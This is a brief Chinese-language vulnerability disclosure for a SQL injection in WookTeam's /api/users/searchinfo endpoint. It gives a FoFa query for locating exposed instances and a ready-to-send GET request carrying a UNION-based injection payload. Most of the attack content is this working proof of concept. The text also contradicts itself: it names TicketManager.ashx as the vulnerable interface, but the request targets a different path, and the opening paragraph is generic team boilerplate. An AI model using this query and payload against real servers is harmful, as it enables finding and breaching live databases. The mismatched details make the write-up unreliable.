WookTeam searchinfo SQL注入漏洞

WookTeam 是一支致力于开发高质量软件产品的软件工程团队。他们拥有丰富的技术背景和项目实践经验,擅长使用敏捷开发方法论,注重团队协作和持续交付。WookTeam 关注用户体验,注重代码质量和可维护性,并采用最新的技术栈和工具来提高开发效率。他们力求为客户提供出色的软件解决方案,帮助企业实现数字化转型和业务创新。团队成员具有良好的沟通能力和责任心,能够快速适应变化,持续学习和提升。其接口TicketManager.ashx存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

FoFa语句：

title="Wookteam"

 POC：

GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cmd5%28123456%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: keep-alive